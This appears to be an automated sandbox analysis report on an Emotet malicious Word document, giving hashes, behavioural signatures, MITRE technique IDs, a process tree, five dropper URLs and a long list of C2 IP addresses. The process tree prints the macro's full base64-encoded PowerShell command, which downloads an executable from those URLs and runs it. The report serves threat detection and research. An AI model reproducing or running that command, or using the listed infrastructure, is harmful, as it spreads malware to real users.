emotet | 3a8a7bb3d3cac21614a78a6ee59a7b7d5f4e9d0cc161d48a68fa99616098766e

General

Target
FSTRQFSP5.doc
Size 175KB
Sample200806-2s57mab7a2
SHA256 3a8a7bb3d3cac21614a78a6ee59a7b7d5f4e9d0cc161d48a68fa99616098766e
MD5 ec50134f9c140e1a30090b0db4159887
SHA1 f1dbe113e00515b35cf252882b90fd0b8d2d12c5
SHA512 d45c2d68261180ab85640eaf5caa9f2cee8b481198ebc582c6e6eff6afee5b748dbedd8f293f6f6b4e07908d0bf0c451b2bfd073f9cb3500975a6d3d1f01ce1a
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.ncsu.org.ng/wp-content/3_tcn_pc/
exe.dropper
http://www.skydiarynepal.org/wp-admin/m_u8_iv41d84ow/
exe.dropper
https://caritatea.nl/img/c0t5t_j_n2zr/
exe.dropper
http://www.hlsquared.ca/cache/e_q84_jobz/
exe.dropper
http://www.vipi.co.ke/cgi-bin/h_2lnix_2y/

Extracted

Family

emotet

C2

204.197.146.48:80
212.51.142.238:8080
200.55.243.138:8080
103.86.49.11:8080
83.110.223.58:443
139.130.242.43:80
41.60.200.34:80
110.145.77.103:80
183.101.175.193:80
50.116.86.205:8080
79.98.24.39:8080
180.92.239.110:8080
203.153.216.189:7080
137.59.187.107:8080
109.74.5.95:8080
61.19.246.238:443
209.182.216.177:443
162.241.92.219:8080
47.153.182.47:80
176.111.60.55:8080
201.173.217.124:443
190.55.181.54:443
46.105.131.79:8080
181.230.116.163:80
116.203.32.252:8080
74.208.45.104:8080
76.27.179.47:80
75.139.38.211:80
67.241.24.163:8080
104.236.246.93:8080
24.234.133.205:80
62.138.26.28:8080
95.179.229.244:8080
157.147.76.151:80
142.105.151.124:443
200.41.121.90:80
104.131.11.150:443
209.141.54.221:8080
70.167.215.250:8080
185.94.252.104:443
24.179.13.119:80
168.235.67.138:7080
65.111.120.223:80
5.39.91.110:7080
190.160.53.126:80
95.213.236.64:8080
37.139.21.175:8080
139.59.60.244:8080
222.214.218.37:4143
62.75.141.82:80
5.196.74.210:8080
157.245.99.39:8080
119.198.40.179:80
104.131.44.150:8080
87.106.139.101:8080
93.51.50.171:8080
169.239.182.217:8080
24.43.99.75:80
153.126.210.205:7080
189.212.199.126:443
91.231.166.124:8080
91.211.88.52:7080
210.165.156.91:80
78.24.219.147:8080
152.168.248.128:443
47.144.21.12:443
114.146.222.200:80
113.160.130.116:8443
47.146.117.214:80
162.154.38.103:80
37.187.72.193:8080
81.2.235.111:8080
121.124.124.40:7080
124.45.106.173:443
87.106.136.232:8080

rsa_pubkey.plain

Signatures

Executes dropped EXE 2 IoCs

pid	Process
3524	79.exe
3920	msidntld.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3524 wrote to memory of 3920	3524	79.exe	78
PID 3524 wrote to memory of 3920	3524	79.exe	78
PID 3524 wrote to memory of 3920	3524	79.exe	78

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3524-13-0x00000000021D0000-0x00000000021DC000-memory.dmp	emotet
behavioral2/memory/3524-13-0x00000000021D0000-0x00000000021DC000-memory.dmp	emotet
behavioral2/memory/3920-16-0x0000000002020000-0x000000000202C000-memory.dmp	emotet
behavioral2/memory/3920-16-0x0000000002020000-0x000000000202C000-memory.dmp	emotet

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1468	WINWORD.EXE
1468	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3996	632	powersheLL.exe	66

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3996	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3996	powersheLL.exe
3996	powersheLL.exe
3996	powersheLL.exe
3920	msidntld.exe
3920	msidntld.exe
3920	msidntld.exe
3920	msidntld.exe

Blacklisted process makes network request 2 IoCs

flow	pid	Process
22	3996	powersheLL.exe
26	3996	powersheLL.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msdtcuiu\msidntld.exe	79.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
1468	WINWORD.EXE
3524	79.exe
3524	79.exe
3524	79.exe
3920	msidntld.exe
3920	msidntld.exe
3920	msidntld.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\FSTRQFSP5.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Enumerates system info in registry
PID:1468

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABUAFEAWgBPAFcAdgBlAGIAPQAnAEMATABRAE8AUAB2AG8AbwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYABjAFUAYABSAGAAaQBUAHkAcAByAE8AYABUAE8AQwBPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABTAE4AVgBGAFIAdgBrAHUAIAA9ACAAJwA3ADkAJwA7ACQASgBKAFQAUABFAGMAcgBoAD0AJwBYAFoARABGAEoAbwBjAG8AJwA7ACQAUgBMAEYARgBPAGkAYwB4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAE4AVgBGAFIAdgBrAHUAKwAnAC4AZQB4AGUAJwA7ACQAQwBPAEsAQgBNAG4AegBtAD0AJwBEAFgAQQBSAEQAdABmAGsAJwA7ACQAQQBVAE0ATQBBAGkAZgBtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBiAEMATABpAGUAbgBUADsAJABQAFgAQgBSAEMAeQBqAHYAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAGMAcwB1AC4AbwByAGcALgBuAGcALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AMwBfAHQAYwBuAF8AcABjAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBrAHkAZABpAGEAcgB5AG4AZQBwAGEAbAAuAG8AcgBnAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBfAHUAOABfAGkAdgA0ADEAZAA4ADQAbwB3AC8AKgBoAHQAdABwAHMAOgAvAC8AYwBhAHIAaQB0AGEAdABlAGEALgBuAGwALwBpAG0AZwAvAGMAMAB0ADUAdABfAGoAXwBuADIAegByAC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AaABsAHMAcQB1AGEAcgBlAGQALgBjAGEALwBjAGEAYwBoAGUALwBlAF8AcQA4ADQAXwBqAG8AYgB6AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AdgBpAHAAaQAuAGMAbwAuAGsAZQAvAGMAZwBpAC0AYgBpAG4ALwBoAF8AMgBsAG4AaQB4AF8AMgB5AC8AJwAuACIAUwBQAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBAEIAVQBNAEYAbgB2AGQAPQAnAFoARgBIAEEATgBoAHUAbAAnADsAZgBvAHIAZQBhAGMAaAAoACQARABSAFkAUABEAHgAdwBlACAAaQBuACAAJABQAFgAQgBSAEMAeQBqAHYAKQB7AHQAcgB5AHsAJABBAFUATQBNAEEAaQBmAG0ALgAiAGQATwBXAGAATgBMAE8AQQBkAGYAYABJAEwAZQAiACgAJABEAFIAWQBQAEQAeAB3AGUALAAgACQAUgBMAEYARgBPAGkAYwB4ACkAOwAkAFUASQBXAEYAUABzAHgAbwA9ACcASgBHAFcASgBBAHkAbwBjACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUgBMAEYARgBPAGkAYwB4ACkALgAiAEwAZQBgAE4AYABnAHQASAAiACAALQBnAGUAIAAzADAAMAA4ADAAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAGMAYABSAGUAYABBAHQARQAiACgAJABSAEwARgBGAE8AaQBjAHgAKQA7ACQAUQBKAFcARgBJAHQAegBnAD0AJwBDAEsAUwBXAFIAZwBrAGMAJwA7AGIAcgBlAGEAawA7ACQAVQBMAEMATwBSAGQAbQB4AD0AJwBQAEYASQBMAEsAdQB1AHUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBDAE4ATQBRAGwAegBsAD0AJwBRAEoARgBEAFAAdwBrAGgAJwA=
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
PID:3996

C:\Users\Admin\79.exe
C:\Users\Admin\79.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:3524
- C:\Windows\SysWOW64\msdtcuiu\msidntld.exe
  "C:\Windows\SysWOW64\msdtcuiu\msidntld.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:3920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1468-0-0x00007FF84D7F0000-0x00007FF84DEB6000-memory.dmp

Download

memory/1468-5-0x000001EE08012000-0x000001EE0801B000-memory.dmp

Download

memory/3524-13-0x00000000021D0000-0x00000000021DC000-memory.dmp

Download

memory/3920-16-0x0000000002020000-0x000000000202C000-memory.dmp

Download

memory/3996-8-0x00007FF845A50000-0x00007FF84643C000-memory.dmp

Download

memory/3996-9-0x000001A0423E0000-0x000001A0423E1000-memory.dmp

Download

memory/3996-10-0x000001A042590000-0x000001A042591000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads